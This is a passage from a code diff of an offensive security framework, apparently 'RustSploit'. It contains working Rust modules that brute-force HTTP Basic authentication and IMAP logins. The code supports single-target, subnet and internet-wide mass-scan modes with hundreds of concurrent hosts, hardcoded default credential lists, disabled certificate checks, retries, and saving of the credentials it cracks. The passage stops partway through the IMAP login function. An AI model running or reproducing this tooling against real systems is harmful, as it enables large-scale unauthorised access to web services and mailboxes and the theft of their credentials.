state_file: "http_basic_hose_state.log",
|
||||
default_output: "http_basic_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let url_path = url_path.clone();
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
|
||||
// First check if endpoint requires Basic auth (401 response)
|
||||
let client = match reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
match client.get(&base_url).send().await {
|
||||
Ok(resp) if resp.status().as_u16() == 401 => {
|
||||
// Basic auth required, try defaults
|
||||
}
|
||||
_ => return None, // No auth required or unreachable
|
||||
}
|
||||
|
||||
let creds: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", "1234"),
|
||||
("admin", ""),
|
||||
("root", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match client
|
||||
.get(&base_url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(resp) if resp.status().as_u16() == 200 => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"http-basic",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/http_basic_bruteforce",
|
||||
).await;
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "http-basic",
|
||||
source_module: "creds/generic/http_basic_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let url_path = url_path.clone();
|
||||
async move {
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
match try_http_login(&url, &user, &pass, Duration::from_secs(5)).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port))
|
||||
.unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
match try_http_login(&url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "http-basic",
|
||||
source_module: "creds/generic/http_basic_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored HTTP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "http_basic_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTTP Basic Auth Login Attempt
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt HTTP Basic Auth login.
|
||||
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
|
||||
/// Err on connection/protocol errors.
|
||||
async fn try_http_login(
|
||||
url: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
let response = client
|
||||
.get(url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("HTTP request failed: {}", e))?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
match status {
|
||||
200..=299 => Ok(true),
|
||||
401 | 403 => Ok(false),
|
||||
301 | 302 | 303 | 307 | 308 => Ok(true), // Redirect after auth = success
|
||||
_ => Err(anyhow!("HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,584 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_IMAP_PORT: u16 = 143;
|
||||
const DEFAULT_IMAPS_PORT: u16 = 993;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("info", "info"),
|
||||
("mail", "mail"),
|
||||
("postmaster", "postmaster"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "IMAP Brute Force".to_string(),
|
||||
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
|
||||
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
|
||||
default credential testing, combo mode, concurrent connections, and subnet/mass \
|
||||
scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum ImapErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl ImapErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("a001 no")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ImapError {
|
||||
error_type: ImapErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ImapError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ImapError {}
|
||||
|
||||
impl ImapError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = ImapErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "IMAP",
|
||||
default_port: if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT },
|
||||
state_file: "imap_hose_state.log",
|
||||
default_output: "imap_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, port, &u, &p, use_tls, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "imap",
|
||||
source_module: "creds/generic/imap_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "imap",
|
||||
source_module: "creds/generic/imap_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored IMAP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "imap_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// IMAP Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt IMAP LOGIN authentication.
|
||||
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
|
||||
/// and checks for A001 OK (success) or A001 NO (failure).
|
||||
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
|
||||
fn attempt_imap_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
use_tls: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, ImapError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
|
||||
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
